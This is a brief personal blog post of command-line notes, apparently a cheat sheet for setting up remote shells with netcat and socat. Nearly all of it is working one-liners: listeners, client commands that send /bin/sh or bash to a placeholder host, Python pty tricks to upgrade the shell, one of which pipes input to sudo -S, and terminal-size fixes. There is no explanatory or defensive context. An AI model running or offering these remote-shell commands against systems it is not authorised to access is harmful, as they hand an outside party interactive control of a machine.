revlis.nl
Blog & Notes about OSS, OSes, devops, virtualization, programming (hobby) projects, security and tech news
November 26, 2016 — 12:45
Author: silver Category: linux Comments: Off
USING NETCAT:
SERVER/LISTEN:
netcat -lvp 9999
CLIENT:
netcat -e /bin/sh host.name 9999
NICER SHELL:
python -c 'import pty; pty.spawn("/bin/bash")' ( sleep 1; echo 'bla' ) | python -c "import pty; pty.spawn(['/usr/bin/sudo','-S','whoami']);"
USING SOCAT:
SERVER/LISTEN:
socat file:`tty`,raw,echo=0 tcp-listen:8888
CLIENT:
socat tcp-connect:host.name:8888 exec:'bash -li',pty,stderr,setsid,sigint,sane
CLIENT:
socat tcp:host.name:8888 exec:"bash -li",pty,stderr,setsid,sigint,sane
socat TCP-LISTEN:8888,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane socat FILE:`tty`,raw,echo=0 TCP:1.2.3.4:8888
export STY= stty rows 40 cols 130 stty rows 40 cols 230